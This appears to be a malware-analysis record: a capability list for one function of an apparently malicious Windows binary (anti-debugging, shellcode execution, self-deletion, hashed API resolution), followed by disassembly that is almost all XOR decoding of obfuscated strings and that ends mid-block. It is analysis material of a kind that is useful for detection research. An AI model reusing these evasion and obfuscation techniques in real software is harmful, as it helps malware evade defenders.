Function at 0x14011f180
Capabilities:
Access peb ldr_data
Acquire debug privileges
Allocate or change rwx memory
Check for debugger via api
Check for peb beingdebugged flag
Create thread
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute command
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports
Self delete
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x108b0]
mov eax, 0x109b0
call fcn.14019ec20
sub rsp, rax
xor r12d, r12d
movzx eax, byte [0x1402f06d7]
test al, al
je 0x14011f260
xor byte [0x1402f06c0], 0x37
xor byte [0x1402f06c1], 0x38
xor byte [0x1402f06c2], 0x39
xor byte [0x1402f06c3], 0x3a
xor byte [0x1402f06c4], 0x3b
xor byte [0x1402f06c5], 0x3c
xor byte [0x1402f06c6], 0x3d
xor byte [0x1402f06c7], 0x3e
xor byte [0x1402f06c8], 0x3f
xor byte [0x1402f06c9], 0x40
xor byte [0x1402f06ca], 0x41
xor byte [0x1402f06cb], 0x42
xor byte [0x1402f06cc], 0x43
xor byte [0x1402f06cd], 0x44
xor byte [0x1402f06ce], 0x45
xor byte [0x1402f06cf], 0x46
xor byte [0x1402f06d0], 0x47
xor byte [0x1402f06d1], 0x48
xor byte [0x1402f06d2], 0x49
xor byte [0x1402f06d3], 0x4a
xor byte [0x1402f06d4], 0x4b
xor byte [0x1402f06d5], 0x4c
xor byte [0x1402f06d6], 0x4d
xor al, 0x4e
mov byte [0x1402f06d7], al
movzx eax, byte [0x1402f0067]
test al, al
je 0x14011f318
xor byte [0x1402f0050], 0x37
xor byte [0x1402f0051], 0x38
xor byte [0x1402f0052], 0x39
xor byte [0x1402f0053], 0x3a
xor byte [0x1402f0054], 0x3b
xor byte [0x1402f0055], 0x3c
xor byte [0x1402f0056], 0x3d
xor byte [0x1402f0057], 0x3e
xor byte [0x1402f0058], 0x3f
xor byte [0x1402f0059], 0x40
xor byte [0x1402f005a], 0x41
xor byte [0x1402f005b], 0x42
xor byte [0x1402f005c], 0x43
xor byte [0x1402f005d], 0x44
xor byte [0x1402f005e], 0x45
xor byte [0x1402f005f], 0x46
xor byte [0x1402f0060], 0x47
xor byte [0x1402f0061], 0x48
xor byte [0x1402f0062], 0x49
xor byte [0x1402f0063], 0x4a
xor byte [0x1402f0064], 0x4b
xor byte [0x1402f0065], 0x4c
xor byte [0x1402f0066], 0x4d
xor al, 0x4e
mov byte [0x1402f0067], al
movzx eax, byte [0x1402f10af]
test al, al
je 0x14011f3d0
xor byte [0x1402f1098], 0x37
xor byte [0x1402f1099], 0x38
xor byte [0x1402f109a], 0x39
xor byte [0x1402f109b], 0x3a
xor byte [0x1402f109c], 0x3b
xor byte [0x1402f109d], 0x3c
xor byte [0x1402f109e], 0x3d
xor byte [0x1402f109f], 0x3e
xor byte [0x1402f10a0], 0x3f
xor byte [0x1402f10a1], 0x40
xor byte [0x1402f10a2], 0x41
xor byte [0x1402f10a3], 0x42
xor byte [0x1402f10a4], 0x43
xor byte [0x1402f10a5], 0x44
xor byte [0x1402f10a6], 0x45
xor byte [0x1402f10a7], 0x46
xor byte [0x1402f10a8], 0x47
xor byte [0x1402f10a9], 0x48
xor byte [0x1402f10aa], 0x49
xor byte [0x1402f10ab], 0x4a
xor byte [0x1402f10ac], 0x4b
xor byte [0x1402f10ad], 0x4c
xor byte [0x1402f10ae], 0x4d
xor al, 0x4e
mov byte [0x1402f10af], al
movzx eax, byte [0x1402f024f]
test al, al
je 0x14011f488
xor byte [0x1402f0238], 0x37
xor byte [0x1402f0239], 0x38
xor byte [0x1402f023a], 0x39
xor byte [0x1402f023b], 0x3a
xor byte [0x1402f023c], 0x3b
xor byte [0x1402f023d], 0x3c
xor byte [0x1402f023e], 0x3d
xor byte [0x1402f023f], 0x3e
xor byte [0x1402f0240], 0x3f
xor byte [0x1402f0241], 0x40
xor byte [0x1402f0242], 0x41
xor byte [0x1402f0243], 0x42
xor byte [0x1402f0244], 0x43
xor byte [0x1402f0245], 0x44
xor byte [0x1402f0246], 0x45
xor byte [0x1402f0247], 0x46
xor byte [0x1402f0248], 0x47
xor byte [0x1402f0249], 0x48
xor byte [0x1402f024a], 0x49
xor byte [0x1402f024b], 0x4a
xor byte [0x1402f024c], 0x4b
xor byte [0x1402f024d], 0x4c
xor byte [0x1402f024e], 0x4d
xor al, 0x4e
mov byte [0x1402f024f], al
movzx eax, byte [0x1402f068f]
test al, al
je 0x14011f540
xor byte [0x1402f0678], 0x37
xor byte [0x1402f0679], 0x38
xor byte [0x1402f067a], 0x39
xor byte [0x1402f067b], 0x3a
xor byte [0x1402f067c], 0x3b
xor byte [0x1402f067d], 0x3c
xor byte [0x1402f067e], 0x3d
xor byte [0x1402f067f], 0x3e
xor byte [0x1402f0680], 0x3f
xor byte [0x1402f0681], 0x40
xor byte [0x1402f0682], 0x41
xor byte [0x1402f0683], 0x42
xor byte [0x1402f0684], 0x43
xor byte [0x1402f0685], 0x44
xor byte [0x1402f0686], 0x45
xor byte [0x1402f0687], 0x46
xor byte [0x1402f0688], 0x47
xor byte [0x1402f0689], 0x48
xor byte [0x1402f068a], 0x49
xor byte [0x1402f068b], 0x4a
xor byte [0x1402f068c], 0x4b
xor byte [0x1402f068d], 0x4c
xor byte [0x1402f068e], 0x4d
xor al, 0x4e
mov byte [0x1402f068f], al
movzx eax, byte [0x1402f092f]
test al, al
je 0x14011f5f8
xor byte [0x1402f0918], 0x37
xor byte [0x1402f0919], 0x38
xor byte [0x1402f091a], 0x39
xor byte [0x1402f091b], 0x3a
xor byte [0x1402f091c], 0x3b
xor byte [0x1402f091d], 0x3c
xor byte [0x1402f091e], 0x3d
xor byte [0x1402f091f], 0x3e
xor byte [0x1402f0920], 0x3f
xor byte [0x1402f0921], 0x40
xor byte [0x1402f0922], 0x41
xor byte [0x1402f0923], 0x42
xor byte [0x1402f0924], 0x43
xor byte [0x1402f0925], 0x44
xor byte [0x1402f0926], 0x45
xor byte [0x1402f0927], 0x46
xor byte [0x1402f0928], 0x47
xor byte [0x1402f0929], 0x48
xor byte [0x1402f092a], 0x49
xor byte [0x1402f092b], 0x4a
xor byte [0x1402f092c], 0x4b
xor byte [0x1402f092d], 0x4c
xor byte [0x1402f092e], 0x4d
xor al, 0x4e
mov byte [0x1402f092f], al
movzx eax, byte [0x1402f0f97]
test al, al
je 0x14011f6b0
xor byte [0x1402f0f80], 0x37
xor byte [0x1402f0f81], 0x38
xor byte [0x1402f0f82], 0x39
xor byte [0x1402f0f83], 0x3a
xor byte [0x1402f0f84], 0x3b
xor byte [0x1402f0f85], 0x3c
xor byte [0x1402f0f86], 0x3d
xor byte [0x1402f0f87], 0x3e
xor byte [0x1402f0f88], 0x3f
xor byte [0x1402f0f89], 0x40
xor byte [0x1402f0f8a], 0x41
xor byte [0x1402f0f8b], 0x42
xor byte [0x1402f0f8c], 0x43
xor byte [0x1402f0f8d], 0x44
xor byte [0x1402f0f8e], 0x45
xor byte [0x1402f0f8f], 0x46
xor byte [0x1402f0f90], 0x47
xor byte [0x1402f0f91], 0x48
xor byte [0x1402f0f92], 0x49
xor byte [0x1402f0f93], 0x4a
xor byte [0x1402f0f94], 0x4b
xor byte [0x1402f0f95], 0x4c
xor byte [0x1402f0f96], 0x4d
xor al, 0x4e
mov byte [0x1402f0f97], al
movzx eax, byte [0x1402f0237]
test al, al
je 0x14011f768
xor byte [0x1402f0220], 0x37
xor byte [0x1402f0221], 0x38
xor byte [0x1402f0222], 0x39
xor byte [0x1402f0223], 0x3a
xor byte [0x1402f0224], 0x3b
xor byte [0x1402f0225], 0x3c
xor byte [0x1402f0226], 0x3d
xor byte [0x1402f0227], 0x3e
xor byte [0x1402f0228], 0x3f
xor byte [0x1402f0229], 0x40
xor byte [0x1402f022a], 0x41
xor byte [0x1402f022b], 0x42
xor byte [0x1402f022c], 0x43
xor byte [0x1402f022d], 0x44
xor byte [0x1402f022e], 0x45
xor byte [0x1402f022f], 0x46
xor byte [0x1402f0230], 0x47
xor byte [0x1402f0231], 0x48
xor byte [0x1402f0232], 0x49
xor byte [0x1402f0233], 0x4a
xor byte [0x1402f0234], 0x4b
xor byte [0x1402f0235], 0x4c
xor byte [0x1402f0236], 0x4d
xor al, 0x4e
mov byte [0x1402f0237], al
movzx eax, byte [0x1402f0617]
test al, al
je 0x14011f820
xor byte [0x1402f0600], 0x37
xor byte [0x1402f0601], 0x38
xor byte [0x1402f0602], 0x39
xor byte [0x1402f0603], 0x3a
xor byte [0x1402f0604], 0x3b
xor byte [0x1402f0605], 0x3c
xor byte [0x1402f0606], 0x3d
xor byte [0x1402f0607], 0x3e
xor byte [0x1402f0608], 0x3f
xor byte [0x1402f0609], 0x40
xor byte [0x1402f060a], 0x41
xor byte [0x1402f060b], 0x42
xor byte [0x1402f060c], 0x43
xor byte [0x1402f060d], 0x44
xor byte [0x1402f060e], 0x45
xor byte [0x1402f060f], 0x46
xor byte [0x1402f0610], 0x47
xor byte [0x1402f0611], 0x48
xor byte [0x1402f0612], 0x49
xor byte [0x1402f0613], 0x4a
xor byte [0x1402f0614], 0x4b
xor byte [0x1402f0615], 0x4c
xor byte [0x1402f0616], 0x4d
xor al, 0x4e
mov byte [0x1402f0617], al
movzx eax, byte [0x1402efdef]
test al, al
je 0x14011f8d8
xor byte [0x1402efdd8], 0x37
xor byte [0x1402efdd9], 0x38
xor byte [0x1402efdda], 0x39
xor byte [0x1402efddb], 0x3a
xor byte [0x1402efddc], 0x3b
xor byte [0x1402efddd], 0x3c
xor byte [0x1402efdde], 0x3d
xor byte [0x1402efddf], 0x3e
xor byte [0x1402efde0], 0x3f
xor byte [0x1402efde1], 0x40
xor byte [0x1402efde2], 0x41
xor byte [0x1402efde3], 0x42
xor byte [0x1402efde4], 0x43
xor byte [0x1402efde5], 0x44
xor byte [0x1402efde6], 0x45
xor byte [0x1402efde7], 0x46
xor byte [0x1402efde8], 0x47
xor byte [0x1402efde9], 0x48
xor byte [0x1402efdea], 0x49
xor byte [0x1402efdeb], 0x4a
xor byte [0x1402efdec], 0x4b
xor byte [0x1402efded], 0x4c
xor byte [0x1402efdee], 0x4d
xor al, 0x4e
mov byte [0x1402efdef], al
movzx eax, byte [0x1402f059f]
test al, al
je 0x14011f990
xor byte [0x1402f0588], 0x37
xor byte [0x1402f0589], 0x38
xor byte [0x1402f058a], 0x39
xor byte [0x1402f058b], 0x3a
xor byte [0x1402f058c], 0x3b
xor byte [0x1402f058d], 0x3c
xor byte [0x1402f058e], 0x3d
xor byte [0x1402f058f], 0x3e
xor byte [0x1402f0590], 0x3f
xor byte [0x1402f0591], 0x40
xor byte [0x1402f0592], 0x41
xor byte [0x1402f0593], 0x42
xor byte [0x1402f0594], 0x43
xor byte [0x1402f0595], 0x44
xor byte [0x1402f0596], 0x45
xor byte [0x1402f0597], 0x46
xor byte [0x1402f0598], 0x47
xor byte [0x1402f0599], 0x48
xor byte [0x1402f059a], 0x49
xor byte [0x1402f059b], 0x4a
xor byte [0x1402f059c], 0x4b
xor byte [0x1402f059d], 0x4c
xor byte [0x1402f059e], 0x4d
xor al, 0x4e
mov byte [0x1402f059f], al
movzx eax, byte [0x1402f1357]
test al, al
je 0x14011fa48
xor byte [0x1402f1340], 0x37
xor byte [0x1402f1341], 0x38
xor byte [0x1402f1342], 0x39
xor byte [0x1402f1343], 0x3a
xor byte [0x1402f1344], 0x3b
xor byte [0x1402f1345], 0x3c
xor byte [0x1402f1346], 0x3d
xor byte [0x1402f1347], 0x3e
xor byte [0x1402f1348], 0x3f
xor byte [0x1402f1349], 0x40
xor byte [0x1402f134a], 0x41
xor byte [0x1402f134b], 0x42
xor byte [0x1402f134c], 0x43
xor byte [0x1402f134d], 0x44
xor byte [0x1402f134e], 0x45
xor byte [0x1402f134f], 0x46
xor byte [0x1402f1350], 0x47
xor byte [0x1402f1351], 0x48
xor byte [0x1402f1352], 0x49
xor byte [0x1402f1353], 0x4a
xor byte [0x1402f1354], 0x4b
xor byte [0x1402f1355], 0x4c
xor byte [0x1402f1356], 0x4d
xor al, 0x4e
mov byte [0x1402f1357], al
movzx eax, byte [0x1402f09a7]
test al, al
je 0x14011fb00
xor byte [0x1402f0990], 0x37
xor byte [0x1402f0991], 0x38
xor byte [0x1402f0992], 0x39
xor byte [0x1402f0993], 0x3a
xor byte [0x1402f0994], 0x3b
xor byte [0x1402f0995], 0x3c
xor byte [0x1402f0996], 0x3d
xor byte [0x1402f0997], 0x3e
xor byte [0x1402f0998], 0x3f
xor byte [0x1402f0999], 0x40
xor byte [0x1402f099a], 0x41
xor byte [0x1402f099b], 0x42
xor byte [0x1402f099c], 0x43
xor byte [0x1402f099d], 0x44
xor byte [0x1402f099e], 0x45
xor byte [0x1402f099f], 0x46
xor byte [0x1402f09a0], 0x47
xor byte [0x1402f09a1], 0x48
xor byte [0x1402f09a2], 0x49
xor byte [0x1402f09a3], 0x4a
xor byte [0x1402f09a4], 0x4b
xor byte [0x1402f09a5], 0x4c
xor byte [0x1402f09a6], 0x4d
xor al, 0x4e
mov byte [0x1402f09a7], al
movzx eax, byte [0x1402f0c57]
test al, al
je 0x14011fbb8
xor byte [0x1402f0c40], 0x37
xor byte [0x1402f0c41], 0x38
xor byte [0x1402f0c42], 0x39
xor byte [0x1402f0c43], 0x3a
xor byte [0x1402f0c44], 0x3b
xor byte [0x1402f0c45], 0x3c
xor byte [0x1402f0c46], 0x3d
xor byte [0x1402f0c47], 0x3e
xor byte [0x1402f0c48], 0x3f
xor byte [0x1402f0c49], 0x40
xor byte [0x1402f0c4a], 0x41
xor byte [0x1402f0c4b], 0x42
xor byte [0x1402f0c4c], 0x43
xor byte [0x1402f0c4d], 0x44
xor byte [0x1402f0c4e], 0x45
xor byte [0x1402f0c4f], 0x46
xor byte [0x1402f0c50], 0x47
xor byte [0x1402f0c51], 0x48
xor byte [0x1402f0c52], 0x49
xor byte [0x1402f0c53], 0x4a
xor byte [0x1402f0c54], 0x4b
xor byte [0x1402f0c55], 0x4c
xor byte [0x1402f0c56], 0x4d
xor al, 0x4e
mov byte [0x1402f0c57], al
movzx eax, byte [0x1402f133f]
test al, al
je 0x14011fc70
xor byte [0x1402f1328], 0x37
xor byte [0x1402f1329], 0x38
xor byte [0x1402f132a], 0x39
xor byte [0x1402f132b], 0x3a
xor byte [0x1402f132c], 0x3b
xor byte [0x1402f132d], 0x3c
xor byte [0x1402f132e], 0x3d
xor byte [0x1402f132f], 0x3e
xor byte [0x1402f1330], 0x3f
xor byte [0x1402f1331], 0x40
xor byte [0x1402f1332], 0x41
xor byte [0x1402f1333], 0x42
xor byte [0x1402f1334], 0x43
xor byte [0x1402f1335], 0x44
xor byte [0x1402f1336], 0x45
xor byte [0x1402f1337], 0x46
xor byte [0x1402f1338], 0x47
xor byte [0x1402f1339], 0x48
xor byte [0x1402f133a], 0x49
xor byte [0x1402f133b], 0x4a
xor byte [0x1402f133c], 0x4b
xor byte [0x1402f133d], 0x4c
xor byte [0x1402f133e], 0x4d
xor al, 0x4e
mov byte [0x1402f133f], al
movzx eax, byte [0x1402f03d7]
test al, al
je 0x14011fd28
xor byte [0x1402f03c0], 0x37
xor byte [0x1402f03c1], 0x38
xor byte [0x1402f03c2], 0x39
xor byte [0x1402f03c3], 0x3a
xor byte [0x1402f03c4], 0x3b
xor byte [0x1402f03c5], 0x3c
xor byte [0x1402f03c6], 0x3d
xor byte [0x1402f03c7], 0x3e
xor byte [0x1402f03c8], 0x3f
xor byte [0x1402f03c9], 0x40
xor byte [0x1402f03ca], 0x41
xor byte [0x1402f03cb], 0x42
xor byte [0x1402f03cc], 0x43
xor byte [0x1402f03cd], 0x44
xor byte [0x1402f03ce], 0x45
xor byte [0x1402f03cf], 0x46
xor byte [0x1402f03d0], 0x47
xor byte [0x1402f03d1], 0x48
xor byte [0x1402f03d2], 0x49
xor byte [0x1402f03d3], 0x4a
xor byte [0x1402f03d4], 0x4b
xor byte [0x1402f03d5], 0x4c
xor byte [0x1402f03d6], 0x4d
xor al, 0x4e
mov byte [0x1402f03d7], al
movzx eax, byte [0x1402f071f]
test al, al
je 0x14011fde0
xor byte [0x1402f0708], 0x37
xor byte [0x1402f0709], 0x38
xor byte [0x1402f070a], 0x39
xor byte [0x1402f070b], 0x3a
xor byte [0x1402f070c], 0x3b
xor byte [0x1402f070d], 0x3c
xor byte [0x1402f070e], 0x3d
xor byte [0x1402f070f], 0x3e
xor byte [0x1402f0710], 0x3f
xor byte [0x1402f0711], 0x40
xor byte [0x1402f0712], 0x41
xor byte [0x1402f0713], 0x42
xor byte [0x1402f0714], 0x43
xor byte [0x1402f0715], 0x44
xor byte [0x1402f0716], 0x45
xor byte [0x1402f0717], 0x46
xor byte [0x1402f0718], 0x47
xor byte [0x1402f0719], 0x48
xor byte [0x1402f071a], 0x49
xor byte [0x1402f071b], 0x4a
xor byte [0x1402f071c], 0x4b
xor byte [0x1402f071d], 0x4c
xor byte [0x1402f071e], 0x4d
xor al, 0x4e
mov byte [0x1402f071f], al
movzx eax, byte [0x1402f089f]
test al, al
je 0x14011fe98
xor byte [0x1402f0888], 0x37
xor byte [0x1402f0889], 0x38
xor byte [0x1402f088a], 0x39
xor byte [0x1402f088b], 0x3a
xor byte [0x1402f088c], 0x3b
xor byte [0x1402f088d], 0x3c
xor byte [0x1402f088e], 0x3d
xor byte [0x1402f088f], 0x3e
xor byte [0x1402f0890], 0x3f
xor byte [0x1402f0891], 0x40
xor byte [0x1402f0892], 0x41
xor byte [0x1402f0893], 0x42
xor byte [0x1402f0894], 0x43
xor byte [0x1402f0895], 0x44
xor byte [0x1402f0896], 0x45
xor byte [0x1402f0897], 0x46
xor byte [0x1402f0898], 0x47
xor byte [0x1402f0899], 0x48
xor byte [0x1402f089a], 0x49
xor byte [0x1402f089b], 0x4a
xor byte [0x1402f089c], 0x4b
xor byte [0x1402f089d], 0x4c
xor byte [0x1402f089e], 0x4d
xor al, 0x4e
mov byte [0x1402f089f], al
movzx eax, byte [0x1402f0af7]
test al, al
je 0x14011ff50
xor byte [0x1402f0ae0], 0x37
xor byte [0x1402f0ae1], 0x38
xor byte [0x1402f0ae2], 0x39
xor byte [0x1402f0ae3], 0x3a
xor byte [0x1402f0ae4], 0x3b
xor byte [0x1402f0ae5], 0x3c
xor byte [0x1402f0ae6], 0x3d
xor byte [0x1402f0ae7], 0x3e
xor byte [0x1402f0ae8], 0x3f
xor byte [0x1402f0ae9], 0x40
xor byte [0x1402f0aea], 0x41
xor byte [0x1402f0aeb], 0x42
xor byte [0x1402f0aec], 0x43
xor byte [0x1402f0aed], 0x44
xor byte [0x1402f0aee], 0x45
xor byte [0x1402f0aef], 0x46
xor byte [0x1402f0af0], 0x47
xor byte [0x1402f0af1], 0x48
xor byte [0x1402f0af2], 0x49
xor byte [0x1402f0af3], 0x4a
xor byte [0x1402f0af4], 0x4b
xor byte [0x1402f0af5], 0x4c
xor byte [0x1402f0af6], 0x4d
xor al, 0x4e
mov byte [0x1402f0af7], al
movzx eax, byte [0x1402f06bf]
test al, al
je 0x140120008
xor byte [0x1402f06a8], 0x37
xor byte [0x1402f06a9], 0x38
xor byte [0x1402f06aa], 0x39
xor byte [0x1402f06ab], 0x3a
xor byte [0x1402f06ac], 0x3b
xor byte [0x1402f06ad], 0x3c
xor byte [0x1402f06ae], 0x3d
xor byte [0x1402f06af], 0x3e
xor byte [0x1402f06b0], 0x3f
xor byte [0x1402f06b1], 0x40
xor byte [0x1402f06b2], 0x41
xor byte [0x1402f06b3], 0x42
xor byte [0x1402f06b4], 0x43
xor byte [0x1402f06b5], 0x44
xor byte [0x1402f06b6], 0x45
xor byte [0x1402f06b7], 0x46
xor byte [0x1402f06b8], 0x47
xor byte [0x1402f06b9], 0x48
xor byte [0x1402f06ba], 0x49
xor byte [0x1402f06bb], 0x4a
xor byte [0x1402f06bc], 0x4b
xor byte [0x1402f06bd], 0x4c
xor byte [0x1402f06be], 0x4d
xor al, 0x4e
mov byte [0x1402f06bf], al
movzx eax, byte [0x1402f0a7f]
test al, al
je 0x1401200c0
xor byte [0x1402f0a68], 0x37
xor byte [0x1402f0a69], 0x38
xor byte [0x1402f0a6a], 0x39
xor byte [0x1402f0a6b], 0x3a
xor byte [0x1402f0a6c], 0x3b
xor byte [0x1402f0a6d], 0x3c
xor byte [0x1402f0a6e], 0x3d
xor byte [0x1402f0a6f], 0x3e
xor byte [0x1402f0a70], 0x3f
xor byte [0x1402f0a71], 0x40
xor byte [0x1402f0a72], 0x41
xor byte [0x1402f0a73], 0x42
xor byte [0x1402f0a74], 0x43
xor byte [0x1402f0a75], 0x44
xor byte [0x1402f0a76], 0x45
xor byte [0x1402f0a77], 0x46
xor byte [0x1402f0a78], 0x47
xor byte [0x1402f0a79], 0x48
xor byte [0x1402f0a7a], 0x49
xor byte [0x1402f0a7b], 0x4a
xor byte [0x1402f0a7c], 0x4b
xor byte [0x1402f0a7d], 0x4c
xor byte [0x1402f0a7e], 0x4d
xor al, 0x4e
mov byte [0x1402f0a7f], al
movzx eax, byte [0x1402f0187]
test al, al
je 0x140120178
xor byte [0x1402f0170], 0x37
xor byte [0x1402f0171], 0x38
xor byte [0x1402f0172], 0x39
xor byte [0x1402f0173], 0x3a
xor byte [0x1402f0174], 0x3b
xor byte [0x1402f0175], 0x3c
xor byte [0x1402f0176], 0x3d
xor byte [0x1402f0177], 0x3e
xor byte [0x1402f0178], 0x3f
xor byte [0x1402f0179], 0x40
xor byte [0x1402f017a], 0x41
xor byte [0x1402f017b], 0x42
xor byte [0x1402f017c], 0x43
xor byte [0x1402f017d], 0x44
xor byte [0x1402f017e], 0x45
xor byte [0x1402f017f], 0x46
xor byte [0x1402f0180], 0x47
xor byte [0x1402f0181], 0x48
xor byte [0x1402f0182], 0x49
xor byte [0x1402f0183], 0x4a
xor byte [0x1402f0184], 0x4b
xor byte [0x1402f0185], 0x4c
xor byte [0x1402f0186], 0x4d
xor al, 0x4e
mov byte [0x1402f0187], al
movzx eax, byte [0x1402f06ef]
test al, al
je 0x140120230
xor byte [0x1402f06d8], 0x37
xor byte [0x1402f06d9], 0x38
xor byte [0x1402f06da], 0x39
xor byte [0x1402f06db], 0x3a
xor byte [0x1402f06dc], 0x3b
xor byte [0x1402f06dd], 0x3c
xor byte [0x1402f06de], 0x3d
xor byte [0x1402f06df], 0x3e
xor byte [0x1402f06e0], 0x3f
xor byte [0x1402f06e1], 0x40
xor byte [0x1402f06e2], 0x41
xor byte [0x1402f06e3], 0x42
xor byte [0x1402f06e4], 0x43
xor byte [0x1402f06e5], 0x44
xor byte [0x1402f06e6], 0x45
xor byte [0x1402f06e7], 0x46
xor byte [0x1402f06e8], 0x47
xor byte [0x1402f06e9], 0x48
xor byte [0x1402f06ea], 0x49
xor byte [0x1402f06eb], 0x4a
xor byte [0x1402f06ec], 0x4b
xor byte [0x1402f06ed], 0x4c
xor byte [0x1402f06ee], 0x4d
xor al, 0x4e
mov byte [0x1402f06ef], al
movzx eax, byte [0x1402f0037]
test al, al
je 0x1401202e8
xor byte [0x1402f0020], 0x37
xor byte [0x1402f0021], 0x38
xor byte [0x1402f0022], 0x39
xor byte [0x1402f0023], 0x3a
xor byte [0x1402f0024], 0x3b
xor byte [0x1402f0025], 0x3c
xor byte [0x1402f0026], 0x3d
xor byte [0x1402f0027], 0x3e
xor byte [0x1402f0028], 0x3f
xor byte [0x1402f0029], 0x40
xor byte [0x1402f002a], 0x41
xor byte [0x1402f002b], 0x42
xor byte [0x1402f002c], 0x43
xor byte [0x1402f002d], 0x44
xor byte [0x1402f002e], 0x45
xor byte [0x1402f002f], 0x46
xor byte [0x1402f0030], 0x47
xor byte [0x1402f0031], 0x48
xor byte [0x1402f0032], 0x49
xor byte [0x1402f0033], 0x4a
xor byte [0x1402f0034], 0x4b
xor byte [0x1402f0035], 0x4c
xor byte [0x1402f0036], 0x4d
xor al, 0x4e
mov byte [0x1402f0037], al
movzx eax, byte [0x1402f03b7]
test al, al
je 0x1401203a0
xor byte [0x1402f03a0], 0x37
xor byte [0x1402f03a1], 0x38
xor byte [0x1402f03a2], 0x39
xor byte [0x1402f03a3], 0x3a
xor byte [0x1402f03a4], 0x3b
xor byte [0x1402f03a5], 0x3c
xor byte [0x1402f03a6], 0x3d
xor byte [0x1402f03a7], 0x3e
xor byte [0x1402f03a8], 0x3f
xor byte [0x1402f03a9], 0x40
xor byte [0x1402f03aa], 0x41
xor byte [0x1402f03ab], 0x42
xor byte [0x1402f03ac], 0x43
xor byte [0x1402f03ad], 0x44
xor byte [0x1402f03ae], 0x45
xor byte [0x1402f03af], 0x46
xor byte [0x1402f03b0], 0x47
xor byte [0x1402f03b1], 0x48
xor byte [0x1402f03b2], 0x49
xor byte [0x1402f03b3], 0x4a
xor byte [0x1402f03b4], 0x4b
xor byte [0x1402f03b5], 0x4c
xor byte [0x1402f03b6], 0x4d
xor al, 0x4e
mov byte [0x1402f03b7], al
movzx eax, byte [0x1402f0007]
test al, al
je 0x140120458
xor byte [0x1402efff0], 0x37
xor byte [0x1402efff1], 0x38
xor byte [0x1402efff2], 0x39
xor byte [0x1402efff3], 0x3a
xor byte [0x1402efff4], 0x3b
xor byte [0x1402efff5], 0x3c
xor byte [0x1402efff6], 0x3d
xor byte [0x1402efff7], 0x3e
xor byte [0x1402efff8], 0x3f
xor byte [0x1402efff9], 0x40
xor byte [0x1402efffa], 0x41
xor byte [0x1402efffb], 0x42
xor byte [0x1402efffc], 0x43
xor byte [0x1402efffd], 0x44
xor byte [0x1402efffe], 0x45
xor byte [0x1402effff], 0x46
xor byte [0x1402f0000], 0x47
xor byte [0x1402f0001], 0x48
xor byte [0x1402f0002], 0x49
xor byte [0x1402f0003], 0x4a
xor byte [0x1402f0004], 0x4b
xor byte [0x1402f0005], 0x4c
xor byte [0x1402f0006], 0x4d
xor al, 0x4e
mov byte [0x1402f0007], al
movzx eax, byte [0x1402eff2f]
test al, al
je 0x140120510
xor byte [0x1402eff18], 0x37
xor byte [0x1402eff19], 0x38
xor byte [0x1402eff1a], 0x39
xor byte [0x1402eff1b], 0x3a
xor byte [0x1402eff1c], 0x3b
xor byte [0x1402eff1d], 0x3c
xor byte [0x1402eff1e], 0x3d
xor byte [0x1402eff1f], 0x3e
xor byte [0x1402eff20], 0x3f
xor byte [0x1402eff21], 0x40
xor byte [0x1402eff22], 0x41
xor byte [0x1402eff23], 0x42
xor byte [0x1402eff24], 0x43
xor byte [0x1402eff25], 0x44
xor byte [0x1402eff26], 0x45
xor byte [0x1402eff27], 0x46
xor byte [0x1402eff28], 0x47
xor byte [0x1402eff29], 0x48
xor byte [0x1402eff2a], 0x49
xor byte [0x1402eff2b], 0x4a
xor byte [0x1402eff2c], 0x4b
xor byte [0x1402eff2d], 0x4c
xor byte [0x1402eff2e], 0x4d
xor al, 0x4e
mov byte [0x1402eff2f], al
movzx eax, byte [0x1402f0947]
test al, al
je 0x1401205c8
xor byte [0x1402f0930], 0x37
xor byte [0x1402f0931], 0x38
xor byte [0x1402f0932], 0x39
xor byte [0x1402f0933], 0x3a
xor byte [0x1402f0934], 0x3b
xor byte [0x1402f0935], 0x3c
xor byte [0x1402f0936], 0x3d
xor byte [0x1402f0937], 0x3e
xor byte [0x1402f0938], 0x3f
xor byte [0x1402f0939], 0x40
xor byte [0x1402f093a], 0x41
xor byte [0x1402f093b], 0x42
xor byte [0x1402f093c], 0x43
xor byte [0x1402f093d], 0x44
xor byte [0x1402f093e], 0x45
xor byte [0x1402f093f], 0x46
xor byte [0x1402f0940], 0x47
xor byte [0x1402f0941], 0x48
xor byte [0x1402f0942], 0x49
xor byte [0x1402f0943], 0x4a
xor byte [0x1402f0944], 0x4b
xor byte [0x1402f0945], 0x4c
xor byte [0x1402f0946], 0x4d
xor al, 0x4e
mov byte [0x1402f0947], al
movzx eax, byte [0x1402f0c3f]
test al, al
je 0x140120680
xor byte [0x1402f0c28], 0x37
xor byte [0x1402f0c29], 0x38
xor byte [0x1402f0c2a], 0x39
xor byte [0x1402f0c2b], 0x3a
xor byte [0x1402f0c2c], 0x3b
xor byte [0x1402f0c2d], 0x3c
xor byte [0x1402f0c2e], 0x3d
xor byte [0x1402f0c2f], 0x3e
xor byte [0x1402f0c30], 0x3f
xor byte [0x1402f0c31], 0x40
xor byte [0x1402f0c32], 0x41
xor byte [0x1402f0c33], 0x42
xor byte [0x1402f0c34], 0x43
xor byte [0x1402f0c35], 0x44
xor byte [0x1402f0c36], 0x45
xor byte [0x1402f0c37], 0x46
xor byte [0x1402f0c38], 0x47
xor byte [0x1402f0c39], 0x48
xor byte [0x1402f0c3a], 0x49
xor byte [0x1402f0c3b], 0x4a
xor byte [0x1402f0c3c], 0x4b
xor byte [0x1402f0c3d], 0x4c
xor byte [0x1402f0c3e], 0x4d
xor al, 0x4e
mov byte [0x1402f0c3f], al
movzx eax, byte [0x1402f10c7]
test al, al
je 0x140120738
xor byte [0x1402f10b0], 0x37
xor byte [0x1402f10b1], 0x38
xor byte [0x1402f10b2], 0x39
xor byte [0x1402f10b3], 0x3a
xor byte [0x1402f10b4], 0x3b
xor byte [0x1402f10b5], 0x3c
xor byte [0x1402f10b6], 0x3d
xor byte [0x1402f10b7], 0x3e
xor byte [0x1402f10b8], 0x3f
xor byte [0x1402f10b9], 0x40
xor byte [0x1402f10ba], 0x41
xor byte [0x1402f10bb], 0x42
xor byte [0x1402f10bc], 0x43
xor byte [0x1402f10bd], 0x44
xor byte [0x1402f10be], 0x45
xor byte [0x1402f10bf], 0x46
xor byte [0x1402f10c0], 0x47
xor byte [0x1402f10c1], 0x48
xor byte [0x1402f10c2], 0x49
